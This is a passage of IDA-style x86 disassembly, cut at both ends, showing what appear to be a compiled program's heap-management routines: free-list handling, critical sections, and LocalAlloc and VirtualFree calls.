loc_40174F:				; CODE XREF: sub_40172C+82j
					; sub_40172C+C9j
		mov	eax, [ebp+0]
		mov	[esi], eax
		jmp	short loc_40175C
; ---------------------------------------------------------------------------


loc_401756:				; CODE XREF: sub_40172C+39j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax


loc_40175C:				; CODE XREF: sub_40172C+28j
		cmp	ebp, [esi]
		jz	short loc_401767
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_401756


loc_401767:				; CODE XREF: sub_40172C+32j
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_4017CD
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jle	loc_401815
		mov	eax, [esi]
		mov	edx, edi
		sub	edx, [eax+0Ch]
		mov	eax, [esi]
		mov	eax, [eax+8]
		mov	ecx, [esi]
		add	eax, [ecx+0Ch]
		lea	ecx, [esp+28h+var_20]
		call	sub_4013C8
		cmp	[esp+28h+var_20], 0
		jz	short loc_4017CD
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_401218
		cmp	[esp+28h+var_18], 0
		jnz	short loc_40174F
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_401440
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_401867
; ---------------------------------------------------------------------------


loc_4017CD:				; CODE XREF: sub_40172C+40j
					; sub_40172C+6Cj
		lea	ecx, [esp+28h+var_20]
		mov	edx, edi
		mov	eax, ebx
		call	sub_4013C8
		cmp	[esp+28h+var_20], 0
		jz	short loc_401815
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_401218
		cmp	[esp+28h+var_18], 0
		jnz	loc_40174F
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_401440
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_401867
; ---------------------------------------------------------------------------


loc_401815:				; CODE XREF: sub_40172C+47j
					; sub_40172C+B3j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		cmp	ebx, ebp
		jnz	short loc_401860
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jg	short loc_401860
		mov	ecx, [esp+28h+var_28]
		mov	eax, ebp
		mov	edx, edi
		call	sub_401508
		mov	eax, [esp+28h+var_28]
		cmp	dword ptr [eax], 0
		jz	short loc_401867
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		add	[edx+8], eax
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_401867
		mov	eax, [esi]
		call	sub_4011E4
		jmp	short loc_401867
; ---------------------------------------------------------------------------


loc_401860:				; CODE XREF: sub_40172C+F0j
					; sub_40172C+F7j
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx


loc_401867:				; CODE XREF: sub_40172C+9Cj
					; sub_40172C+E7j ...
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40172C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401870	proc near		; CODE XREF: sub_401CF4+5Bp
					; sub_401CF4+6Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, ecx
		lea	ecx, [eax+3FFFh]
		and	ecx, 0FFFFC000h
		mov	[esp+1Ch+var_1C], ecx
		add	edx, eax
		and	edx, 0FFFFC000h
		mov	[esp+1Ch+var_18], edx
		mov	eax, [esp+1Ch+var_18]
		cmp	eax, [esp+1Ch+var_1C]
		jbe	short loc_4018F9
		mov	ecx, ebx
		mov	edx, [esp+1Ch+var_18]
		sub	edx, [esp+1Ch+var_1C]
		mov	eax, [esp+1Ch+var_1C]
		call	sub_4015C8
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, ebx
		mov	eax, offset off_4075E4
		call	sub_401218
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jz	short loc_4018E2
		lea	ecx, [esp+1Ch+var_C]
		mov	edx, [esp+1Ch+var_10]
		mov	eax, ebx
		call	sub_401440
		mov	eax, [esp+1Ch+var_C]
		mov	[esp+1Ch+var_14], eax
		mov	eax, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_10], eax


loc_4018E2:				; CODE XREF: sub_401870+51j
		cmp	[esp+1Ch+var_14], 0
		jz	short loc_4018FD
		lea	edx, [esp+1Ch+var_14]
		mov	eax, offset off_4075E4
		call	sub_4012A0
		jmp	short loc_4018FD
; ---------------------------------------------------------------------------


loc_4018F9:				; CODE XREF: sub_401870+28j
		xor	eax, eax
		mov	[ebx], eax


loc_4018FD:				; CODE XREF: sub_401870+77j
					; sub_401870+87j
		add	esp, 18h
		pop	ebx
		retn
sub_401870	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401904	proc near		; CODE XREF: sub_402160+12p
					; sub_40230C+19p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00402FD4 SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	edx, edx
		push	ebp
		push	offset loc_4019CC
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset dword_4075B4
		call	sub_4010DC	; InitializeCriticalSection
		cmp	ds:byte_407035,	0
		jz	short loc_401933
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_401933:				; CODE XREF: sub_401904+23j
		mov	eax, offset off_4075D4
		call	sub_401180
		mov	eax, offset off_4075E4
		call	sub_401180
		mov	eax, offset off_407610
		call	sub_401180
		push	0FF8h
		push	0
		call	sub_4010BC	; LocalAlloc
		mov	ds:dword_40760C, eax
		cmp	ds:dword_40760C, 0
		jz	short loc_4019AB
		mov	eax, 3


loc_401970:				; CODE XREF: sub_401904+7Ej
		mov	edx, ds:dword_40760C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_401970
		mov	[ebp+var_4], offset aDzdz ; "DD"
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	ds:dword_407600, eax
		mov	ds:byte_4075AC,	1


loc_4019AB:				; CODE XREF: sub_401904+65j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4019D3


loc_4019B8:				; CODE XREF: sub_401904+CDj
		cmp	ds:byte_407035,	0
		jz	short locret_4019CB
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection

locret_4019CB:				; CODE XREF: sub_401904+BBj
		retn
; ---------------------------------------------------------------------------


loc_4019CC:				; DATA XREF: sub_401904+7o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4019B8
; ---------------------------------------------------------------------------


loc_4019D3:				; DATA XREF: sub_401904+AFo
		mov	al, ds:byte_4075AC
		pop	ecx
		pop	ebp
		retn
sub_401904	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019DC	proc near		; CODE XREF: sub_403A24+37p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		cmp	ds:byte_4075AC,	0
		jz	loc_401AD7
		xor	eax, eax
		push	ebp
		push	offset loc_401AD0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	ds:byte_407035,	0
		jz	short loc_401A10
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_401A10:				; CODE XREF: sub_4019DC+28j
		mov	ds:byte_4075AC,	0
		mov	eax, ds:dword_40760C
		push	eax
		call	sub_4010C4	; LocalFree
		xor	eax, eax
		mov	ds:dword_40760C, eax
		mov	eax, ds:off_4075D4
		mov	[ebp+var_8], eax
		jmp	short loc_401A4E
; ---------------------------------------------------------------------------


loc_401A33:				; CODE XREF: sub_4019DC+7Aj
		push	8000h
		push	0
		mov	eax, [ebp+var_8]


loc_401A3D:				; DATA XREF: .rsrc:00437952r
		mov	eax, [eax+8]
		push	eax
		call	sub_4010D4	; VirtualFree
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax


loc_401A4E:				; CODE XREF: sub_4019DC+55j
		mov	eax, offset off_4075D4
		cmp	eax, [ebp+var_8]
		jnz	short loc_401A33
		mov	eax, offset off_4075D4
		call	sub_401180
		mov	eax, offset off_4075E4
		call	sub_401180
		mov	eax, offset off_407610
		call	sub_401180
		mov	eax, ds:dword_4075CC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_401AA5


loc_401A84:				; CODE XREF: sub_4019DC+C7j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_4075CC, eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4010C4	; LocalFree
		mov	eax, ds:dword_4075CC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401A84


loc_401AA5:				; CODE XREF: sub_4019DC+A6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401AD7


loc_401AB2:				; CODE XREF: sub_4019DC+F9j
		cmp	ds:byte_407035,	0
		jz	short loc_401AC5
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection


loc_401AC5:				; CODE XREF: sub_4019DC+DDj
		push	offset dword_4075B4
		call	sub_4010F4	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_401AD0:				; DATA XREF: sub_4019DC+16o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_401AB2
; ---------------------------------------------------------------------------


loc_401AD7:				; CODE XREF: sub_4019DC+Dj
					; DATA XREF: sub_4019DC+D1o
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4019DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401ADC	proc near		; CODE XREF: sub_401C3C+6Bp
					; sub_401CB4+25p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF8h
		cmp	eax, ds:dword_407600
		jnz	short loc_401AF1
		mov	edx, [eax+4]
		mov	ds:dword_407600, edx


loc_401AF1:				; CODE XREF: sub_401ADC+Aj
		mov	edx, [eax+4]
		mov	[esp+0Ch+var_C], edx
		mov	edx, [eax+8]
		cmp	edx, 1000h
		jg	short loc_401B50
		cmp	eax, [esp+0Ch+var_C]
		jnz	short loc_401B1E
		test	edx, edx
		jns	short loc_401B0E
		add	edx, 3


loc_401B0E:				; CODE XREF: sub_401ADC+2Dj
		sar	edx, 2
		mov	eax, ds:dword_40760C
		xor	ecx, ecx
		mov	[eax+edx*4-0Ch], ecx
		jmp	short loc_401B69
; ---------------------------------------------------------------------------


loc_401B1E:				; CODE XREF: sub_401ADC+29j
		test	edx, edx
		jns	short loc_401B25
		add	edx, 3


loc_401B25:				; CODE XREF: sub_401ADC+44j
		sar	edx, 2
		mov	ecx, ds:dword_40760C
		mov	ebx, [esp+0Ch+var_C]
		mov	[ecx+edx*4-0Ch], ebx
		mov	eax, [eax]
		mov	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		mov	edx, [esp+0Ch+var_8]
		mov	[eax], edx
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_C]
		mov	[eax+4], edx
		jmp	short loc_401B69
; ---------------------------------------------------------------------------


loc_401B50:				; CODE XREF: sub_401ADC+24j
		mov	eax, [eax]
		mov	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		mov	edx, [esp+0Ch+var_8]
		mov	[eax], edx
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_C]
		mov	[eax+4], edx


loc_401B69:				; CODE XREF: sub_401ADC+40j
					; sub_401ADC+72j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_401ADC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401B70	proc near		; CODE XREF: sub_401CF4+Fp
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	edx, ds:off_407610
		mov	[ecx], edx
		jmp	short loc_401B96
; ---------------------------------------------------------------------------


loc_401B7E:				; CODE XREF: sub_401B70+2Dj
		mov	edx, [ecx]
		mov	edx, [edx+8]
		cmp	eax, edx
		jb	short loc_401B90
		mov	ebx, [ecx]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jb	short loc_401BAD


loc_401B90:				; CODE XREF: sub_401B70+15j
		mov	edx, [ecx]
		mov	edx, [edx]
		mov	[ecx], edx


loc_401B96:				; CODE XREF: sub_401B70+Cj
		mov	edx, offset off_407610
		cmp	edx, [ecx]
		jnz	short loc_401B7E
		mov	ds:dword_4075B0, 3
		xor	eax, eax
		mov	[ecx], eax


loc_401BAD:				; CODE XREF: sub_401B70+1Ej
		mov	eax, [ecx]
		pop	edx
		pop	ebx
		retn
sub_401B70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401BB4	proc near		; CODE XREF: sub_401CF4+7Ep
					; sub_401EF4+68p

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		mov	[esp+8+var_8], ebx
		cmp	edx, 10h
		jl	short loc_401BD9
		mov	edx, [esp+8+var_8]
		mov	dword ptr [edx], 80000007h
		mov	edx, ecx
		call	sub_401DB0
		pop	edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401BD9:				; CODE XREF: sub_401BB4+10j
		cmp	edx, 4
		jl	short loc_401BED
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	eax, [esp+8+var_8]
		mov	[eax], ecx


loc_401BED:				; CODE XREF: sub_401BB4+28j
		pop	edx
		pop	ebx
		retn
sub_401BB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401BF0	proc near		; CODE XREF: sub_401C14+Dp
					; sub_401EA8+36p ...
		inc	ds:dword_40759C
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	ds:dword_4075A0, edx
		call	sub_40230C
		retn
sub_401BF0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C14	proc near		; CODE XREF: sub_401CF4+A0p
		cmp	edx, 0Ch
		jl	short loc_401C27
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_401BF0
		retn
; ---------------------------------------------------------------------------


loc_401C27:				; CODE XREF: sub_401C14+3j
		cmp	edx, 4
		jl	short loc_401C36
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx


loc_401C36:				; CODE XREF: sub_401C14+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_401C14	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C3C	proc near		; CODE XREF: sub_401EF4+36p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_401C60
		mov	ds:dword_4075B0, 4


loc_401C60:				; CODE XREF: sub_401C3C+18j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_401C80
		mov	ds:dword_4075B0, 5


loc_401C80:				; CODE XREF: sub_401C3C+38j
		test	byte ptr [ecx],	1
		jz	short loc_401CAE
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		mov	[esp+0Ch+var_C], eax
		mov	eax, [esp+0Ch+var_C]
		cmp	esi, [eax+8]
		jz	short loc_401CA4
		mov	ds:dword_4075B0, 6


loc_401CA4:				; CODE XREF: sub_401C3C+5Cj
		mov	eax, [esp+0Ch+var_C]
		call	sub_401ADC
		add	ebx, esi


loc_401CAE:				; CODE XREF: sub_401C3C+47j
		mov	eax, ebx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401C3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401CB4	proc near		; CODE XREF: sub_401EF4+4Fp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		xor	esi, esi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_401CCF
		and	eax, 7FFFFFFCh
		add	esi, eax
		add	ebx, eax
		mov	eax, [ebx]


loc_401CCF:				; CODE XREF: sub_401CB4+Ej
		test	al, 2
		jnz	short loc_401CEB
		mov	[esp+0Ch+var_C], ebx
		mov	eax, [esp+0Ch+var_C]
		call	sub_401ADC
		mov	eax, [esp+0Ch+var_C]
		mov	eax, [eax+8]
		add	esi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh


loc_401CEB:				; CODE XREF: sub_401CB4+1Dj
		mov	eax, esi
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401CB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401CF4	proc near		; CODE XREF: sub_401DB0+A7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	esi, edx
		mov	ebp, eax
		xor	ebx, ebx
		mov	eax, ebp
		call	sub_401B70
		mov	[esp+1Ch+var_14], eax
		cmp	[esp+1Ch+var_14], 0
		jz	loc_401DA6
		mov	eax, [esp+1Ch+var_14]
		mov	edi, [eax+8]
		mov	eax, edi
		mov	edx, [esp+1Ch+var_14]
		add	eax, [edx+0Ch]
		mov	edx, eax
		lea	ecx, [esi+ebp]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_401D37
		mov	esi, eax
		sub	esi, ebp


loc_401D37:				; CODE XREF: sub_401CF4+3Dj
		mov	eax, ebp
		sub	eax, edi
		cmp	eax, 0Ch
		jge	short loc_401D56
		mov	eax, [esp+1Ch+var_14]
		mov	edx, ebp
		sub	edx, [eax+8]
		add	edx, esi
		mov	ecx, esp
		mov	eax, edi
		call	sub_401870
		jmp	short loc_401D65
; ---------------------------------------------------------------------------


loc_401D56:				; CODE XREF: sub_401CF4+4Aj
		mov	ecx, esp
		mov	edx, esi
		sub	edx, 4
		lea	eax, [ebp+4]
		call	sub_401870


loc_401D65:				; CODE XREF: sub_401CF4+60j
		mov	edi, [esp+1Ch+var_1C]
		test	edi, edi
		jz	short loc_401DA6
		mov	edx, edi
		sub	edx, ebp
		mov	eax, ebp
		call	sub_401BB4
		mov	edx, [esp+1Ch+var_14]
		mov	edx, [edx+8]
		mov	ecx, [esp+1Ch+var_14]
		add	edx, [ecx+0Ch]
		mov	eax, edi
		add	eax, [esp+1Ch+var_18]
		cmp	edx, eax
		jbe	short loc_401D99
		lea	edx, [esi+ebp]
		sub	edx, eax
		call	sub_401C14


loc_401D99:				; CODE XREF: sub_401CF4+99j
		mov	edx, esp
		mov	eax, [esp+1Ch+var_14]
		call	sub_4012A0
		mov	bl, 1


loc_401DA6:				; CODE XREF: sub_401CF4+1Dj
					; sub_401CF4+76j
		mov	eax, ebx
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi


loc_401DAE:				; DATA XREF: .rsrc:004380E2r
		pop	ebx
		retn
sub_401CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DB0	proc near		; CODE XREF: sub_401BB4+1Dp
					; sub_402018+EEp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		mov	esi, eax
		mov	[esp+14h+var_14], esi
		mov	eax, [esp+14h+var_14]
		mov	[eax+8], ebx
		mov	eax, [esp+14h+var_14]
		add	eax, ebx
		sub	eax, 0Ch
		mov	[eax+8], ebx
		cmp	ebx, 1000h
		jg	short loc_401E4B
		mov	eax, ebx
		test	eax, eax
		jns	short loc_401DDE
		add	eax, 3


loc_401DDE:				; CODE XREF: sub_401DB0+29j
		sar	eax, 2
		mov	edx, ds:dword_40760C
		mov	edx, [edx+eax*4-0Ch]
		mov	[esp+14h+var_10], edx
		cmp	[esp+14h+var_10], 0
		jnz	short loc_401E19
		mov	edx, ds:dword_40760C
		mov	ecx, [esp+14h+var_14]
		mov	[edx+eax*4-0Ch], ecx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		jmp	loc_401EA1
; ---------------------------------------------------------------------------


loc_401E19:				; CODE XREF: sub_401DB0+44j
		mov	eax, [esp+14h+var_10]
		mov	eax, [eax]
		mov	[esp+14h+var_C], eax
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_10]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_C]
		mov	[eax], edx
		mov	eax, [esp+14h+var_10]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		mov	eax, [esp+14h+var_C]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx
		jmp	short loc_401EA1
; ---------------------------------------------------------------------------


loc_401E4B:				; CODE XREF: sub_401DB0+23j
		cmp	ebx, 3C00h
		jl	short loc_401E60
		mov	edx, ebx
		mov	eax, esi
		call	sub_401CF4
		test	al, al
		jnz	short loc_401EA1


loc_401E60:				; CODE XREF: sub_401DB0+A1j
		mov	eax, ds:dword_407600
		mov	[esp+14h+var_10], eax
		mov	eax, [esp+14h+var_14]
		mov	ds:dword_407600, eax
		mov	eax, [esp+14h+var_10]
		mov	eax, [eax]
		mov	[esp+14h+var_C], eax
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_10]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_C]
		mov	[eax], edx
		mov	eax, [esp+14h+var_10]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		mov	eax, [esp+14h+var_C]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx


loc_401EA1:				; CODE XREF: sub_401DB0+64j
					; sub_401DB0+99j ...
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_401DB0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401EA8	proc near		; CODE XREF: sub_401EF4+Fp
					; sub_40230C+11Dp ...
		cmp	ds:dword_407604, 0
		jle	short locret_401EF1
		cmp	ds:dword_407604, 0Ch
		jge	short loc_401EC6
		mov	ds:dword_4075B0, 7
		jmp	short locret_401EF1
; ---------------------------------------------------------------------------


loc_401EC6:				; CODE XREF: sub_401EA8+10j
		mov	eax, ds:dword_407604
		or	eax, 2
		mov	edx, ds:dword_407608
		mov	[edx], eax
		mov	eax, ds:dword_407608
		add	eax, 4
		call	sub_401BF0
		xor	eax, eax
		mov	ds:dword_407608, eax
		xor	eax, eax
		mov	ds:dword_407604, eax

locret_401EF1:				; CODE XREF: sub_401EA8+7j
					; sub_401EA8+1Cj
		retn
sub_401EA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401EF4	proc near		; CODE XREF: sub_401F80+18p
					; sub_401FAC+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_401EA8
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset off_407610
		call	sub_401218
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_401F24
		xor	eax, eax
		jmp	short loc_401F76
; ---------------------------------------------------------------------------


loc_401F24:				; CODE XREF: sub_401EF4+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_401F34
		call	sub_401C3C
		sub	[edi], eax
		add	[edi+4], eax


loc_401F34:				; CODE XREF: sub_401EF4+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_401F4B
		call	sub_401CB4
		add	[edi+4], eax


loc_401F4B:				; CODE XREF: sub_401EF4+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_401F65
		sub	eax, 4
		mov	edx, 4
		call	sub_401BB4
		sub	dword ptr [edi+4], 4


loc_401F65:				; CODE XREF: sub_401EF4+5Ej
		mov	eax, [edi]
		mov	ds:dword_407608, eax
		mov	eax, [edi+4]
		mov	ds:dword_407604, eax
		mov	al, 1


loc_401F76:				; CODE XREF: sub_401EF4+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401EF4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401F80	proc near		; CODE XREF: sub_402018+76p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_401684
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_401FA1
		mov	eax, esp
		call	sub_401EF4
		test	al, al
		jnz	short loc_401FA5


loc_401FA1:				; CODE XREF: sub_401F80+14j
		xor	eax, eax
		jmp	short loc_401FA7
; ---------------------------------------------------------------------------


loc_401FA5:				; CODE XREF: sub_401F80+1Fj
		mov	al, 1


loc_401FA7:				; CODE XREF: sub_401F80+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_401F80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401FAC	proc near		; CODE XREF: sub_4024E4+1C3p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_40172C
		cmp	[esp+10h+var_10], 0
		jz	short loc_401FD2
		mov	eax, esp
		call	sub_401EF4
		test	al, al
		jnz	short loc_401FD6


loc_401FD2:				; CODE XREF: sub_401FAC+19j
		xor	eax, eax
		jmp	short loc_401FD8
; ---------------------------------------------------------------------------


loc_401FD6:				; CODE XREF: sub_401FAC+24j
		mov	al, 1


loc_401FD8:				; CODE XREF: sub_401FAC+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401FAC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401FE0	proc near		; CODE XREF: sub_402018+68p
		push	ecx
		mov	edx, esp
		xor	ecx, ecx
		mov	[edx], ecx
		test	eax, eax
		jns	short loc_401FEE
		add	eax, 3


loc_401FEE:				; CODE XREF: sub_401FE0+9j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_402011


loc_401FF8:				; CODE XREF: sub_401FE0+2Fj
		mov	ecx, ds:dword_40760C
		mov	ecx, [ecx+eax*4-0Ch]
		mov	[edx], ecx
		cmp	dword ptr [edx], 0
		jnz	short loc_402011
		inc	eax
		cmp	eax, 401h
		jnz	short loc_401FF8


loc_402011:				; CODE XREF: sub_401FE0+16j
					; sub_401FE0+27j
		mov	eax, [edx]
		pop	edx
		retn
sub_401FE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402018	proc near		; CODE XREF: sub_402160+173p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, eax
		lea	esi, [esp+1Ch+var_14]
		mov	edi, offset dword_407600
		mov	ebp, offset dword_407604


loc_40202F:				; CODE XREF: sub_402018+8Cj
		mov	eax, dword ptr ds:aDzdz+4
		mov	[esi], eax
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jle	loc_4020EC
		mov	eax, [edi]
		mov	[esi], eax
		mov	eax, [esi]
		mov	eax, [eax+8]
		cmp	ebx, eax
		jle	loc_4020EC
		mov	edx, [esi]
		mov	[edx+8], ebx


loc_402057:				; CODE XREF: sub_402018+4Bj
		mov	edx, [esi]
		mov	edx, [edx+4]
		mov	[esi], edx
		mov	edx, [esi]
		cmp	ebx, [edx+8]
		jg	short loc_402057
		mov	edx, [edi]
		mov	[edx+8], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jz	short loc_402076
		mov	eax, [esi]
		mov	[edi], eax
		jmp	short loc_4020EC
